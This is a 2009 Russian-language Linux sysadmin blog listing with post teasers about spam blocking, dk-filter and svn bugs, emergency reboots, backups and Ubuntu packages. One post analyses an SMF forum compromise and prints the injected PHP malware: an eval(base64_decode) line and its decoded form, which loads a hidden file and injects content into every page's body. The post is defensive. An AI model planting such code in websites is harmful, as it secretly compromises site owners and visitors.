Статьи из рубрики «linux» RSS

Linux — дружественная операционная система. Она просто разборчива в выборе друзей.

Борьба со спамом на уровне фильтра пакетов

Два месяца назад я писал об одном очень жестком методе борьбы с последствиями установки плагина Time spent on blog. Теперь этот же самый метод применяем на -ботах, которые безуспешно пытаются оставить спам в комментариях.

Отвлекусь от темы и отвечу на вопрос о необходимости применения жестких мер против спамеров: во-первых, они генерируют много паразитного трафика (трафик не бесплатен), во-вторых, они генерируют лишнюю нагрузку на сервер, в-третьих, вода камень точит — любую капчу можно подобрать. Далее »

Автор: , опубликовано в: Linux, WordPress, Администрирование, комментариев: 6
26
Июл
2009

dk-filter: util.c:47: dk_sterilize: Assertion `str != ((void *)0)’ failed: Часть 2

Вчера я писал об ошибке в dk-filter, приводящей к гибели процесса, если сконфигурирован использовать разные ключи для подписи сообщений от разных отправителей, и ключ для отправителя не найден.

Я предложил два решения: тривиальное (изменить файл конфигурации так, чтобы все отправители начинались со звёздочки) и правильное (пропатчить код демона, ибо фатальное завершение по такой пустяковой ошибке — это неправильно).

Именно о втором решении далее пойдёт речь. Далее »

Автор: , опубликовано в: C/C++, Linux, Администрирование, комментариев: нет
26
Июл
2009

dk-filter: util.c:47: dk_sterilize: Assertion `str != ((void *)0)’ failed.

На днях столкнулся с неприятной ошибкой: при отправлении письма падал с ошибкой

dk-filter: util.c:47: dk_sterilize: Assertion `str != ((void *)0)’ failed..

В баг-трекере решения проблемы не нашлось (хотя проблеме больше года), пришлось все решать самому (люблю open source!).

Проблема проявлялась, когда dk-filter был запущен в конфигурации, использующей несколько ключей для подписывания сообщений (грубо говоря, каждому домену полагался свой ключ). Далее »

Автор: , опубликовано в: Linux, Администрирование, комментариев: 1
25
Июл
2009

svn: could not connect to server

Сегодня столкнулся с интересной ошибкой при попытке экспорта проекта из репозитория :

[-]
View Code Text
$ svn export -q -r8913 https://my.repository.com/svn/trunk /var/www/some/path
svn: OPTIONS of 'https://my.repository.com/svn/trunk': could not connect to server (https://my.repository.com)

Произошло это после обновления системы (на машине стоит ).

Первое подозрение — что-то не то с DNS, ибо извне к репозиторию есть доступ. Проверил:

[-]
View Code Text
$ wget https://my.repository.com
--2009-07-07 13:10:21--  https://my.repository.com
Resolving my.repository.com... 12.34.56.78
Connecting to my.repository.com|12.34.56.78|:443... connected.
HTTP request sent, awaiting response... 200 OK

Получается, что проблема где-то в subversion, а не в невозможности соединения с сервером или криво настроенном DNS.
Далее »

Автор: , опубликовано в: Linux, комментариев: 15
7
Июл
2009

Linux: экстренная перезагрузка сервера

Иногда случаются ситуации (поменьше бы их таких), когда из-за какой-нибудь ошибки оборудования или повреждения файловой системы операционная система входит в ступор и не может прочитать ничего с диска. Систему нужно перезагружать, но система не может прочитать /sbin/reboot, а техническая поддержка тупит (не могу не передать привет техперсоналу HiVelocity.net).

В этом случае систему можно перезагрузить двумя командами echo (нужны права администратора). Далее »

Автор: , опубликовано в: Linux, Администрирование, комментариев: 6
6
Июл
2009

Уязвимость в форуме SMF

В последнее время участились сообщения о взломах форумов, работающих на (Simple Machines Forum), среди пострадавших оказался и форум русского сообщества . Но в чем именно проблема и чего бояться непонятно, информации было крайне мало.

Сегодня появилась дополнительная информация. Данной уязвимости подвержены все версии форума, включая последнюю стабильную версию 1.1.8. существует в функции масштабирования аватаров.

Дополнительная информация здесь.

Проявляется эта уязвимость следующим образом: во все PHP-файлы приписывается такая строка:

[-]
View Code PHP
< ?php /**/eval(base64_decode('aWYoZnVuY3R(поскипано)9fQ==')); ?>

BASE64 декодируется в такой PHP-код (я отформатировал код, чтобы сделать его читаемым):

[-]
View Code PHP
< ?php
if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){
    $GLOBALS['sh_no']=1;
    if(file_exists('.../style.css.php')){
        include_once('.../style.css.php');
        if(function_exists('gml')&&!function_exists('dgobh')){
            if(!function_exists('gzdecode')){
                function gzdecode($d){
                    $f=ord(substr($d,3,1));
                    $h=10;
                    $e=0;
                    if($f&4){
                        $e=unpack('v',substr($d,10,2));
                        $e=$e[1];
                        $h+=2+$e;
                    }
                    if($f&8){
                        $h=strpos($d,chr(0),$h)+1;
                    }
                    if($f&16){
                        $h=strpos($d,chr(0),$h)+1;
                    }
                    if($f&2){
                        $h+=2;
                    }
                    $u=gzinflate(substr($d,$h));
                    if($u===FALSE){
                        $u=$d;
                    }
                    return $u;
                }
            }
            function dgobh($b){
                Header('Content-Encoding: none');
                $c=gzdecode($b);
                if(preg_match('/\<body/si',$c)){
                    return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c);
                }
                else{
                    return gml().$c;
                }
            }
            ob_start('dgobh');
        }
    }
}
?>

“Заражаются” все PHP-файлы, до которых “вирус” смог добраться: если у Вас на сайте живёт не только форум, то Вам не повезло. Как вариант, можно восстановить все файлы из резервной копии. Но что делать, если резервной копии нет?

Есть два варианта. Далее »

Автор: , опубликовано в: Linux, Simple Machines Forum, Безопасность, комментариев: 2
23
Май
2009

Hardy Heron с ядром 2.6.27

Очень полезно, если есть необходимость гонять  8.04 под  2.2 — дополнения гостевой операционной системы не работают на ядре 2.6.24, которое идёт с  8.04.2. Далее »

Автор: , опубликовано в: Linux, комментариев: 2
22
Май
2009

Борьба с плагином Time spent on blog жёсткими методами

Вчера пришлось очень рано встать из-за SMS от монитора, наблюдающего за сервером: Apache лёг от DDoS-атаки. Как оказалось, DDoS был спровоцирован плагином (http://iron.randombase.com/2008/05/31/wordpress-widget-time-spent-on-blog/, битая ссылка). Честно говоря, я никогда не понимал смысла в таких плагинах, тем более на очень посещаемых сайтах.

определяет, сколько времени пробыл пользователь на сайте (с двухсекундной точностью). Такая точность создаёт большие проблемы в тех случаях, когда средний посетитель открывает сразу три-пять страниц. Точность гарантируется конструкцией setTimeout("updateTime()", 2000), где updateTime() — функция, отправляющая асинхронный запрос на сервер.

Обновление текущей информации осуществляется в два запроса: SELECT для получения старых данных и INSERT/UPDATE для их обновления. Что характерно, в таблице нет никаких индексов, поэтому если у сайта обширная аудитория, а на сайте не настроена репликация, то очень быстро становится слабым звеном (что ни говори, а MyISAM не сильно хорошо работает с большим количеством параллельных записей). А IP-адрес посетителя (по нему делается выборка/обновление) хранится в базе строкой, что тоже далеко от идеала (экономнее хранить его числом).

Несколько сотен посетителей, открывшие по нескольку страниц, умудрились положить сервер. Далее »

Автор: , опубликовано в: Linux, комментариев: 9
19
Май
2009

Резервное копирование баз данных с отправкой на email

Навеяно статьёй Дмитрия «Ежедневный бэкап для WordPress с помощью Gmail», которую я очень рекомендую к прочтению.

Основное отличие моего метода кроется в моих «религиозных предпочтениях»: я считаю, что вряд ли какая программа сможет сделать копию базы быстрее, чем mysqldump, и бинарный файл всегда работает быстрее, нежели самый оптимизированный PHP-код. Поэтому никаких лишних плагинов для , только подручные средства :-) Хотя данное решение не подойдёт людям, использующих shared-хостинг. Далее »

Автор: , опубликовано в: Linux, Администрирование, комментариев: 2
19
Апр
2009

hotkey-setup 0.1-23ubuntu10 в Jaunty Jackalope

В очередной раз разработчики выпустили пакет, не потрудившись его протестировать (или, скажем прямо, установить).

Сегодня пришло обновление для hotkey-setup, которое завершилось следующим образом:

[-]
View Code Text
Настраивается пакет hotkey-setup (0.1-23ubuntu10) ...
/etc/init.d/hotkey-setup: 47: Syntax error: ";;" unexpected (expecting "fi")
invoke-rc.d: initscript hotkey-setup, action "start" failed.
dpkg: не удалось обработать параметр hotkey-setup (--configure):
 подпроцесс post-installation script возвратил код ошибки 2
При обработке следующих пакетов произошли ошибки:
 hotkey-setup
E: Sub-process /usr/bin/dpkg returned an error code (1)
Не удалось установить пакет.  Попытка восстановить:
Настраивается пакет hotkey-setup (0.1-23ubuntu10) ...
/etc/init.d/hotkey-setup: 47: Syntax error: ";;" unexpected (expecting "fi")
invoke-rc.d: initscript hotkey-setup, action "start" failed.
dpkg: не удалось обработать параметр hotkey-setup (--configure):
 подпроцесс post-installation script возвратил код ошибки 2
При обработке следующих пакетов произошли ошибки:
 hotkey-setup

Далее »

Автор: , опубликовано в: Linux, комментариев: 4
6
Апр
2009